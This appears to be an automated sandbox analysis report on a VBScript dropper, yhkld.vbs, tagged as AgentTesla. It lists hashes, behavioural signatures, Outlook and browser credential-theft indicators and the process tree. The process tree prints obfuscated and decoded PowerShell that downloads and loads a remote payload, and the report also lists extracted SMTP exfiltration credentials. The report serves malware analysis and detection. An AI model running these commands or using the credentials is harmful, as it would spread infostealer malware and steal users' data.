Analysis
- max time kernel
28s - max time network
32s - platform
windows7_x64 - resource
win7-20230703-en - resource tags
arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system - submitted
06/07/2023, 12:50
Static task
static1
Behavioral task
behavioral1
Sample
yhkld.vbs
Resource
win7-20230703-en
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
yhkld.vbs
Resource
win10v2004-20230703-en
13 signatures
150 seconds
General
- Target yhkld.vbs
- Size 375KB
- Sample230706-p2xbfsba99
- SHA256 fa43e204762689b5d9a4f72bd2a6772f8d8436e02ddd0c6da9a0a26d475412da
- MD5 32d87b2f68ef1dd11316fbb33f1f8597
- SHA1 c23f436e333d31ef93f94949cf6d71d5d2d14458
- SHA512 c84ff372a6350a37141be905db7c75d5efe6e229b83c13101997bfb73804863828904f0517731dfdc9ee4e233bd83cc25c3b05819d9ba178711c9f6edc2be0f8
- SSDEEP 3072:EQaiUCrZUKCs7xlu4vrSCqtI4xvgGrk+KH:EQaiUc
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://cryptersandtools.minhacasa.tv/e/e
Extracted
Family
-
agenttesla
Credentials
-
Protocol
smtp
-
Host
mail.havil.co
-
Port
587
-
Username
-
Password
ND{!x#V2NT%K
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Blocklisted process makes network request 2 IoCs
flow pid Process 4 2992 powershell.exe 5 2992 powershell.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1724861073-2584418204-2594431177-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegAsm.exe Key opened \REGISTRY\USER\S-1-5-21-1724861073-2584418204-2594431177-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegAsm.exe Key opened \REGISTRY\USER\S-1-5-21-1724861073-2584418204-2594431177-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegAsm.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2992 set thread context of 688 2992 powershell.exe 33 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 980 powershell.exe 2992 powershell.exe 2992 powershell.exe 2992 powershell.exe 688 RegAsm.exe 688 RegAsm.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 980 powershell.exe Token: SeDebugPrivilege 2992 powershell.exe Token: SeDebugPrivilege 688 RegAsm.exe - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 2176 wrote to memory of 980 2176 WScript.exe 30 PID 2176 wrote to memory of 980 2176 WScript.exe 30 PID 2176 wrote to memory of 980 2176 WScript.exe 30 PID 980 wrote to memory of 2992 980 powershell.exe 31 PID 980 wrote to memory of 2992 980 powershell.exe 31 PID 980 wrote to memory of 2992 980 powershell.exe 31 PID 2992 wrote to memory of 1476 2992 powershell.exe 32 PID 2992 wrote to memory of 1476 2992 powershell.exe 32 PID 2992 wrote to memory of 1476 2992 powershell.exe 32 PID 2992 wrote to memory of 1476 2992 powershell.exe 32 PID 2992 wrote to memory of 1476 2992 powershell.exe 32 PID 2992 wrote to memory of 1476 2992 powershell.exe 32 PID 2992 wrote to memory of 1476 2992 powershell.exe 32 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 PID 2992 wrote to memory of 688 2992 powershell.exe 33 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1724861073-2584418204-2594431177-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegAsm.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1724861073-2584418204-2594431177-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegAsm.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\yhkld.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂GM⁂cgB5⁂H⁂⁂d⁂Bl⁂HI⁂cwBh⁂G4⁂Z⁂B0⁂G8⁂bwBs⁂HM⁂LgBt⁂Gk⁂bgBo⁂GE⁂YwBh⁂HM⁂YQ⁂u⁂HQ⁂dg⁂v⁂GU⁂LwBl⁂Cc⁂KQ⁂p⁂Ds⁂WwBT⁂Hk⁂cwB0⁂GU⁂bQ⁂u⁂EE⁂c⁂Bw⁂EQ⁂bwBt⁂GE⁂aQBu⁂F0⁂Og⁂6⁂EM⁂dQBy⁂HI⁂ZQBu⁂HQ⁂R⁂Bv⁂G0⁂YQBp⁂G4⁂LgBM⁂G8⁂YQBk⁂Cg⁂J⁂BE⁂Ew⁂T⁂⁂p⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂LgBH⁂GU⁂d⁂BN⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂o⁂Cc⁂VgBB⁂Ek⁂Jw⁂p⁂C4⁂SQBu⁂HY⁂bwBr⁂GU⁂K⁂⁂k⁂G4⁂dQBs⁂Gw⁂L⁂⁂g⁂Fs⁂bwBi⁂Go⁂ZQBj⁂HQ⁂WwBd⁂F0⁂I⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgBz⁂GU⁂bgB5⁂G0⁂Lw⁂1⁂DU⁂Lg⁂5⁂DQ⁂Lg⁂w⁂DE⁂MQ⁂u⁂Dk⁂Nw⁂v⁂C8⁂OgBw⁂HQ⁂d⁂Bo⁂Cc⁂KQ⁂p⁂⁂==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:980 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://cryptersandtools.minhacasa.tv/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.senym/55.94.011.97//:ptth'))"3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2992 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵PID:1476
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:688
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 7KB
- SHA256 63bbf507374397b4a7858bbb8ee6815f01dd7a9d555a5b7c74ce9a993502a2c4
- MD5 fa8191959bc6ae9a8666001c144da0b3
- SHA1 f8226b67a9690890a85e4d34be2095ffa06ead91
- SHA512 a8fbcf7fc5fd8979d849c311241730fa239176ad6bf572aae006e50af066d2a7f273350b9414dc1369eb046e9e9b10d3943a7d90c9aacab1967dc0135d3ab0c1
- SSDEEP 96:wFvSCSEM8NnqvsqvJCwocFvSCSEM8NnqvsEHyqvJCwortlHUQHVb7KbXlUVr:UvME5Uo4vME5AHnortekb7Kbw
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QTNLO7UMTBJR6W9QLTOQ.temp
- Size 7KB
- SHA256 63bbf507374397b4a7858bbb8ee6815f01dd7a9d555a5b7c74ce9a993502a2c4
- MD5 fa8191959bc6ae9a8666001c144da0b3
- SHA1 f8226b67a9690890a85e4d34be2095ffa06ead91
- SHA512 a8fbcf7fc5fd8979d849c311241730fa239176ad6bf572aae006e50af066d2a7f273350b9414dc1369eb046e9e9b10d3943a7d90c9aacab1967dc0135d3ab0c1
- SSDEEP 96:wFvSCSEM8NnqvsqvJCwocFvSCSEM8NnqvsEHyqvJCwortlHUQHVb7KbXlUVr:UvME5Uo4vME5AHnortekb7Kbw
- MD5 SHA1 SHA512 SSDEEP